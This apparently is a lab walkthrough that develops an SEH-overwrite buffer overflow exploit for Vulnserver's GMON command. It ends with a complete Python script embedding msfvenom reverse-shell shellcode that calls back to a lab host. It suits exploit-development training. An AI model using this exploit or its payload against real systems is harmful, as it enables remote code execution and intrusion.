Vulnserver: developing an exploit for GMON
The GMON
command is vulnerable to a buffer overflow. We can fuzz this command using spike
and the following template:
s_readline();
s_string("GMON ");
s_string_variable("COMMAND");
After only a few try, turns out that the application crashes and the string that caused the crash looks like the following:
TRUN /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The buffer of A is 5000 bytes long.
We can replicate the crash with the following script:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send("GMON /.:/" + "A" * 5000 + "\n")
s.close()
The reason of the crash is simple: we caused an exception while trying to write our long buffer into memory. Luckily enough, we override the exception handler, which means that when the program will try to process the exception, we can redirect its flow.
If we take the exception, our buffer will override EIP:
We can calculate SEH offset by sending a unique string 5000 bytes long, we can generate it with the following command:
msf-pattern_create -l 5000
Our script will look like the following:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
unique = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s.send("GMON /.:/" + unique + "\n")
s.close()
After crashing the service, we can use !mona findmsp
to find the offsets:
In this case, the offset for the nseh
record is at 3495. Notice that the nseh
record is not the one that will directly be moved into EIP. We will analyze the memory in more detail in a while.
Another interesting thing to notice is that we have only 28 bytes after this address. So we will probably have little space to execute our payload.
For the moment let’s try to override nseh
and seh
. Our script will look more or less as follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# nseh offset at 3495
payload = "A" * 3495
payload += "BBBB"
# 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"
payload += "D" * (5000 - len(payload))
s.send("GMON /.:/" + payload + "\n")
s.close()
The only difference is that in this script I have already set an address for the SEH. If you change the address with “CCCC”, you will see the following scenario:
We can properly override the various fields, but let’s see what’s the state of the memory when the exception is taken and the application crashes:
Our nseh
record that was at offset 3495 is now at the beginning of the third entry in the stack.
If we follow it in dump, we see our short buffer.
The next four bytes, are the value that has been copied to EIP. This are the four bytes we have to override with to some instruction in memory that brings us back to our payload in the stack.
And finally, we have a few Ds after the address that will override EIP.
If we scroll the memory, we see that all of our buffer is behind us, so we can use that extra memory to jump behind in the memory:
Let’s first check for some instruction in memory that will allow us to bring our buffer at the top of the stack, and then jump to it.
First we look for loaded modules:
And by using !mona seh
, we can easily find an address that matches our need:
As we can see, most available instructions all have the same form:
pop
pop
ret
This is because we want to pop
the first two elements in the stack, and then the ret
instruction will put in EIP the first address in the stack.
We can use the following address to override EIP:
Address=625010B4
Message= 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
We place a breakpoint over our return point and we make sure that the execution goes there:
We can tak the two pop and before taking the ret, see what is pointed by the stack:
And if we take the ret, we can see that our buffer is going to be executed:
It’s time to write our shellcode.
At the very beginning, we have only four bytes, but we can use those to jump 8 bytes ahead to our larger (but not too much) space. We can use msf-nasm_shell
to obtain the shell code needed for the jump:
nasm > jmp short +8
00000000 EB06 jmp short 0x8
Since the instruction is only two bytes long, we will pad the rest with two nops, as we need to write two bytes more before writing the address that will override the exception handler. Our very small shellcode for the first jump will look like following:
\xEB\x06\x90\x90
This jump will bring us at the very beginning of our buffer of Ds.
What we need to do now, is to jump back to our larger buffer. In order to do so, we will use the following assembly code:
[BITS 32]
global _start
_start:
# ;--- Taken from Phrack #62 Article 7 Originally written by Aaron Adams
# ;--- copy eip into ecx
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
# ;----------------------------------------------------------------------
dec ch ; ecx=-256;
dec ch ; ecx=-256;
dec ch ; ecx=-256;
jmp ecx ; lets jmp ecx (current location - 768)
The original shellcode was jumping back only 512 bytes, which would still be enough but I added 256 bytes more just to make my math easier.
We can save this to file, and compile it with:
nasm jmp.bin
Our shellcode is now available in the file jmp
, which we can open with any hex editor to copy paste the code.
Our shellcode for the jump will look like following:
\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1
And our script will be as follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# nseh offset at 3495
payload = "A" * 3495
payload += "\xEB\x06\x90\x90"
# 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"
# jmp 768 positions behind
payload += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1"
payload += "D" * (5000 - len(payload))
s.send("GMON /.:/" + payload + "\n")
s.close()
We can now place a breakpoint at our return address and see what happens with the execution:
This is our payload after the ret
command, it looks a little bit weird because Immunity messes up the commands with the memory we used to override the address.
If we take the jmp, we se our correct payload:
We can step through it one instruction at a time to see what happens, after fstenv
:
We see that the stack has saved the address of the fldz
instruction. We pop that address into in EXC, add a few bytes to take the fldz
and fstenv
instructions into account, decrementing ECX
of 768 bytes and then jump.
As ECX
was pointing at the current instruction memory location, and was decremented of 768 bytes, we can see that it now points into out buffer of As.
If we take the jump:
We only have to add our payload.
We generate it with:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f py
We add it to our script, which will now look as follows:
#!/usr/bin/python
import socket
target = "192.168.1.121"
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# nseh offset at 3495
payload = "A" * 2600
payload += "\x90" * 400
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=8080 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f py
payload += "\xb8\x5b\x3c\xbb\xd9\xda\xc5\xd9\x74\x24\xf4\x5b\x31"
payload += "\xc9\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\x18\x32\x59"
payload += "\x2c\x62\xa2\x1f\xcf\x9a\x33\x40\x59\x7f\x02\x40\x3d"
payload += "\xf4\x35\x70\x35\x58\xba\xfb\x1b\x48\x49\x89\xb3\x7f"
payload += "\xfa\x24\xe2\x4e\xfb\x15\xd6\xd1\x7f\x64\x0b\x31\x41"
payload += "\xa7\x5e\x30\x86\xda\x93\x60\x5f\x90\x06\x94\xd4\xec"
payload += "\x9a\x1f\xa6\xe1\x9a\xfc\x7f\x03\x8a\x53\x0b\x5a\x0c"
payload += "\x52\xd8\xd6\x05\x4c\x3d\xd2\xdc\xe7\xf5\xa8\xde\x21"
payload += "\xc4\x51\x4c\x0c\xe8\xa3\x8c\x49\xcf\x5b\xfb\xa3\x33"
payload += "\xe1\xfc\x70\x49\x3d\x88\x62\xe9\xb6\x2a\x4e\x0b\x1a"
payload += "\xac\x05\x07\xd7\xba\x41\x04\xe6\x6f\xfa\x30\x63\x8e"
payload += "\x2c\xb1\x37\xb5\xe8\x99\xec\xd4\xa9\x47\x42\xe8\xa9"
payload += "\x27\x3b\x4c\xa2\xca\x28\xfd\xe9\x82\x9d\xcc\x11\x53"
payload += "\x8a\x47\x62\x61\x15\xfc\xec\xc9\xde\xda\xeb\x2e\xf5"
payload += "\x9b\x63\xd1\xf6\xdb\xaa\x16\xa2\x8b\xc4\xbf\xcb\x47"
payload += "\x14\x3f\x1e\xc7\x44\xef\xf1\xa8\x34\x4f\xa2\x40\x5e"
payload += "\x40\x9d\x71\x61\x8a\xb6\x18\x98\x5d\x79\x74\xa3\xe5"
payload += "\x11\x87\xa3\x0a\x72\x0e\x45\x5e\x62\x47\xde\xf7\x1b"
payload += "\xc2\x94\x66\xe3\xd8\xd1\xa9\x6f\xef\x26\x67\x98\x9a"
payload += "\x34\x10\x68\xd1\x66\xb7\x77\xcf\x0e\x5b\xe5\x94\xce"
payload += "\x12\x16\x03\x99\x73\xe8\x5a\x4f\x6e\x53\xf5\x6d\x73"
payload += "\x05\x3e\x35\xa8\xf6\xc1\xb4\x3d\x42\xe6\xa6\xfb\x4b"
payload += "\xa2\x92\x53\x1a\x7c\x4c\x12\xf4\xce\x26\xcc\xab\x98"
payload += "\xae\x89\x87\x1a\xa8\x95\xcd\xec\x54\x27\xb8\xa8\x6b"
payload += "\x88\x2c\x3d\x14\xf4\xcc\xc2\xcf\xbc\xed\x20\xc5\xc8"
payload += "\x85\xfc\x8c\x70\xc8\xfe\x7b\xb6\xf5\x7c\x89\x47\x02"
payload += "\x9c\xf8\x42\x4e\x1a\x11\x3f\xdf\xcf\x15\xec\xe0\xc5"
payload += "\x90" * (3495 - len(payload))
# jmp short +8
payload += "\xEB\x06\x90\x90"
# 0x625010b4 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xb4\x10\x50\x62"
# jmp 768 positions behind
payload += "\xD9\xEE\xD9\x74\x24\xF4\x59\x80\xC1\x0A\x90\xFE\xCD\xFE\xCD\xFE\xCD\xFF\xE1"
payload += "D" * (5000 - len(payload))
s.send("GMON /.:/" + payload + "\n")
s.close()
And we run the script against Vulnserver. If we follow the execution, we see that after the jump we are brought to our buffer of nops (which we added to avoid to have to calculate the exact memory address) and then to our payload:
If we let the program run, we get our shell: